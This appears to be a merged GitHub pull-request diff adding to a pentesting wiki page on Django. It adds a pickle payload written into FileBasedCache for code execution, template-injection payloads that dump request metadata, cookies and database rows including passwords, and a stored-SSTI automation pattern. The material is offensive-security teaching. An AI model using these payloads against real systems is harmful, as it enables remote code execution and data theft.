Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 28 additions & 0 deletions src/network-services-pentesting/pentesting-web/django.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,18 @@ Django's default cache storage method is [Python pickles](https://docs.python.or

Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.

On **FileBasedCache**, the pickled value is written to a file under `CACHES['default']['LOCATION']` (often `/var/tmp/django_cache/`). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:

```bash
python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY
```

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436

---
Expand All @@ -21,6 +33,20 @@ The Django Template Language (DTL) is **Turing-complete**. If user-supplied data
{{7*7}}
```
If the rendered output contains `49` the input is compiled by the template engine.
3. DTL is **not Jinja2**: arithmetic/loop payloads regularly raise `TemplateSyntaxError`/500 while still proving evaluation. Polyglots like `${{<%[%'"}}%` are good crash-or-render probes.

### Context exfiltration when RCE is blocked
Even if object-walking to `subprocess.Popen` fails, DTL still exposes in-scope objects:
```django
{{ request }} {# confirm SSTI #}
{{ request.META }} {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }} {# QuerySet in the context? #}
{{ users.0 }} {# first row #}
{{ users.values }} {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}
```
`QuerySet.values()` coerces rows to dictionaries, bypassing `__str__` and exposing all fields returned by the queryset. This works even when direct Python execution is filtered.

**Automation pattern**: authenticate, grab the CSRF token, save a marker-prefixed payload in any persistent field (e.g., username/profile bio), then request a view that renders it (AJAX endpoints like `/likes/<id>` are common). Parse a stable attribute (e.g., `title="..."`) to recover the rendered result and iterate payloads.

### Primitive to RCE
Django blocks direct access to `__import__`, but the Python object graph is reachable:
Expand Down Expand Up @@ -85,5 +111,7 @@ Always fingerprint the exact framework version via the `X-Frame-Options` error p
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
* Django docs – QuerySet.values(): [https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values](https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values)
* 0xdf: HackNet (HTB) — HTML Attribute Injection → Django SSTI → QuerySet.values data dump → Pickle FileBasedCache RCE – [https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html](https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html)

{{#include ../../banners/hacktricks-training.md}}